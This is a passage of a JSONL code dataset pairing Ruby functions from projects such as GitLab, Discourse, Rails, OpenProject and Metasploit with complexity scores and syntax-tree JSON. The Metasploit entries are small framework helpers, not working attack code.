location\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ANSIBLEPLAYBOOK\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Ansible-playbook executable location\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"8267f41d-5ccb-49d5-af68-1e61393b2981"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/keys_count_service.rb","start_line":13,"raw_source":"def relation_for_count\n      user.keys.auth\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"relation_for_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"keys\"]},\"auth\"]}]}","id":"0f72dec5-9eb8-49cb-ba97-2a932b7e122f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type.rb","start_line":79,"raw_source":"def self.statuses(types)\n    workflow_table, status_table = [Workflow, Status].map(&:arel_table)\n    old_id_subselect, new_id_subselect = %i[old_status_id new_status_id].map do |foreign_key|\n      workflow_table.project(workflow_table[foreign_key]).where(workflow_table[:type_id].in(types))\n    end\n    Status.where(status_table[:id].in(old_id_subselect).or(status_table[:id].in(new_id_subselect)))\n  end","complexity_score":25.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"statuses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"types\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"workflow_table\"]},{\"type\":\"lvasgn\",\"children\":[\"status_table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Workflow\"]},{\"type\":\"const\",\"children\":[null,\"Status\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"arel_table\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_id_subselect\"]},{\"type\":\"lvasgn\",\"children\":[\"new_id_subselect\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_status_id\"]},{\"type\":\"sym\",\"children\":[\"new_status_id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"foreign_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_table\"]},\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"foreign_key\"]}]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_id\"]}]},\"in\",{\"type\":\"lvar\",\"children\":[\"types\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"in\",{\"type\":\"lvar\",\"children\":[\"old_id_subselect\"]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"in\",{\"type\":\"lvar\",\"children\":[\"new_id_subselect\"]}]}]}]}]}]}","id":"0e362894-76e6-4501-95e4-ae4d4207896f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/android.rb","start_line":115,"raw_source":"def ndkstager(stagename, arch)\n    stager_file = File.join( Msf::Config.data_directory, \"exploits\", \"CVE-2012-6636\", NDK_FILES[arch] || arch, 'libndkstager.so')\n    data = File.read(stager_file, mode: 'rb')\n    data.gsub!('PLOAD', stagename)\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ndkstager\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stagename\"]},{\"type\":\"arg\",\"children\":[\"arch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stager_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2012-6636\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDK_FILES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\"libndkstager.so\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"stager_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"PLOAD\"]},{\"type\":\"lvar\",\"children\":[\"stagename\"]}]}]}]}","id":"3636712b-0637-4e8d-97dc-507cabfd791d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":16,"raw_source":"def log_user_deletion(deleted_user, opts = {})\n    unless deleted_user && deleted_user.is_a?(User)\n      raise Discourse::InvalidParameters.new(:deleted_user)\n    end\n\n    details = USER_FIELDS.map { |x| \"#{x}: #{deleted_user.public_send(x)}\" }.join(\"\\n\")\n\n    UserHistory.create!(\n      params(opts).merge(\n        action: UserHistory.actions[:delete_user],\n        ip_address: deleted_user.ip_address.to_s,\n        details: details,\n      ),\n    )\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_user_deletion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deleted_user\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"deleted_user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"details\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USER_FIELDS\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_user\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delete_user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_user\"]},\"ip_address\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"lvar\",\"children\":[\"details\"]}]}]}]}]}]}]}","id":"ebc822b3-ec01-4d08-80a7-38e83b52c26c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/record_identifier_test.rb","start_line":74,"raw_source":"def setup\n    @klass = Plane\n    @record = @klass.new\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@klass\",{\"type\":\"const\",\"children\":[null,\"Plane\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"new\"]}]}]}]}","id":"76c7ff3c-d83b-4de0-95b9-85c75bf2132f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/diffs/overflow_warning_component.rb","start_line":36,"raw_source":"def patch_link\n      text = _(\"Email patch\")\n\n      if commit?\n        link_button_to text, project_commit_path(@project, @commit, format: :patch)\n      elsif merge_request?\n        link_button_to text, merge_request_path(@merge_request, format: :patch)\n      end\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"patch_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Email patch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit?\"]},{\"type\":\"send\",\"children\":[null,\"link_button_to\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"project_commit_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request?\"]},{\"type\":\"send\",\"children\":[null,\"link_button_to\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_path\",{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}]}]},null]}]}]}]}","id":"f665c28e-2a15-4bda-aa43-25706e100c90"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/relations.rb","start_line":113,"raw_source":"def expect_no_new_relation_type(relation_type)\n        within_add_relation_action_menu(relation_type:) do\n          expect(page).to have_no_link(relation_type, wait: 1)\n        end\n      end","complexity_score":7.58,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_new_relation_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation_type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_add_relation_action_menu\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_type\"]},{\"type\":\"lvar\",\"children\":[\"relation_type\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_link\",{\"type\":\"lvar\",\"children\":[\"relation_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"14c607c0-eae7-4765-a0ed-3716086d0e11"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20171128172835_rename_clicked_topic_id_to_search_result_id.rb","start_line":11,"raw_source":"def down\n    rename_column :search_logs, :search_result_id, :clicked_topic_id\n    remove_column :search_logs, :search_result_type\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"search_logs\"]},{\"type\":\"sym\",\"children\":[\"search_result_id\"]},{\"type\":\"sym\",\"children\":[\"clicked_topic_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"search_logs\"]},{\"type\":\"sym\",\"children\":[\"search_result_type\"]}]}]}]}","id":"ec74c3a9-bce2-4ab6-937f-148ba270c37a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/winrm_command_shell.rb","start_line":32,"raw_source":"def localinfo\n        shell.transport.localinfo\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"localinfo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\"]},\"transport\"]},\"localinfo\"]}]}","id":"1782f38d-0934-4124-8ca8-b491c438e636"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20220130192155_set_use_email_for_username_and_name_suggestions_on_existing_sites.rb","start_line":4,"raw_source":"def up\n    # make setting enabled for existing sites\n    execute <<~SQL if Migration::Helpers.existing_site?\n        INSERT INTO site_settings(name, data_type, value, created_at, updated_at)\n        VALUES('use_email_for_username_and_name_suggestions', 5, 't', NOW(), NOW())\n        ON CONFLICT (name) DO NOTHING\n      SQL\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"Helpers\"]},\"existing_site?\"]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings(name, data_type, value, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES('use_email_for_username_and_name_suggestions', 5, 't', NOW(), NOW())\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT (name) DO NOTHING\\n\"]}]}]},null]}]}","id":"e5cd82b1-fb56-4b64-8d12-dd666193eb63"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/filter_for_wp_mixin.rb","start_line":54,"raw_source":"def available?\n    key = \"Queries::WorkPackages::Filter::FilterForWpMixin/available\"\n\n    RequestStore.fetch(key) do\n      visible_scope.exists?\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"str\",\"children\":[\"Queries::WorkPackages::Filter::FilterForWpMixin/available\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visible_scope\"]},\"exists?\"]}]}]}]}","id":"6ac79bab-de91-4d4b-81a2-9845c8ac3ba2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":637,"raw_source":"def test_schema_dumping_with_defferable_initially_deferred\n            @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\", deferrable: :deferred\n\n            output = dump_table_schema \"astronauts\"\n\n            assert_match %r{\\s+add_foreign_key \"astronauts\", \"rockets\", deferrable: :deferred$}, output\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumping_with_defferable_initially_deferred\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deferrable\"]},{\"type\":\"sym\",\"children\":[\"deferred\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+add_foreign_key \\\"astronauts\\\", \\\"rockets\\\", deferrable: :deferred$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"0f3aae48-0473-4367-9800-a90c653b4c80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":855,"raw_source":"def default_clone_label\n    _(\"Copy %{protocol} clone URL\") % { protocol: default_clone_protocol.upcase }\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"default_clone_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Copy %{protocol} clone URL\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_clone_protocol\"]},\"upcase\"]}]}]}]}]}","id":"31546bb7-5338-4e04-a838-4c316cfd4364"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/util.rb","start_line":73,"raw_source":"def self.log_duration_gz(filename)\n      require 'zlib'\n\n      begin\n        _log.info(\"Opening filename: [#{filename}], size: [#{File.size(filename)}]\")\n        Zlib::GzipReader.open(filename) do |gz|\n          line_count = 0\n          start_time_str = nil\n          end_time_str   = nil\n\n          gz.each_line do |line|\n            line_count += 1\n            next unless line =~ LOG_TIMESTAMP_REGEX\n\n            start_time_str ||= $1\n            end_time_str     = $1\n          end\n\n          start_time = log_timestamp(start_time_str)\n          end_time   = log_timestamp(end_time_str)\n\n          _log.info(\"Lines in file: [#{line_count}]\")\n          _log.info(\"Start Time: [#{start_time.inspect}]\")\n          _log.info(\"End   Time: [#{end_time.inspect}]\")\n\n          return start_time, end_time\n        end\n      rescue Exception => e\n        _log.error(e.to_s)\n        []\n      end\n    end","complexity_score":48.05,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_duration_gz\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"zlib\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Opening filename: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"], size: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"size\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"GzipReader\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gz\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time_str\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"end_time_str\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"LOG_TIMESTAMP_REGEX\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time_str\"]},{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"end_time_str\",{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[null,\"log_timestamp\",{\"type\":\"lvar\",\"children\":[\"start_time_str\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_time\",{\"type\":\"send\",\"children\":[null,\"log_timestamp\",{\"type\":\"lvar\",\"children\":[\"end_time_str\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Lines in file: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_count\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Start Time: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_time\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"End   Time: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_time\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"end_time\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"array\",\"children\":[]}]}]},null]}]}]}]}","id":"fe5a7ee6-e08e-4fc5-a1dc-d3457c2a4f6e"}
{"repo_name":"puma","file_path":"./repos/puma/benchmarks/local/response_time_wrk.rb","start_line":150,"raw_source":"def warm_up\n      puts \"\\nwarm-up\"\n      if @body_types.map(&:first).include? :i\n        TestPuma.create_io_files @body_sizes\n\n        # get size files cached\n        if @body_types.include? :i\n          2.times do\n            @body_sizes.each do |size|\n              fn = format \"#{Dir.tmpdir}/.puma_response_body_io/body_io_%04d.txt\", size\n              t = File.read fn, mode: 'rb'\n            end\n          end\n        end\n      end\n\n      size = @body_sizes.length == 1 ? @body_sizes.first : 10\n\n      @body_types.each do |pre, _|\n        header = \"-H '#{HDR_BODY_CONF}#{pre}#{size}'\".ljust(21)\n        warm_up_cmd = %Q[#{WRK} -t2 -c4 -d1s --latency #{header} #{@wrk_bind_str}]\n        run_wrk_parse warm_up_cmd\n      end\n      puts ''\n    end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"warm_up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\\nwarm-up\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_types\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]},\"include?\",{\"type\":\"sym\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestPuma\"]},\"create_io_files\",{\"type\":\"ivar\",\"children\":[\"@body_sizes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_types\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_sizes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fn\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"tmpdir\"]}]},{\"type\":\"str\",\"children\":[\"/.puma_response_body_io/body_io_%04d.txt\"]}]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"fn\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]}]}]}]}]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_sizes\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_sizes\"]},\"first\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pre\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-H 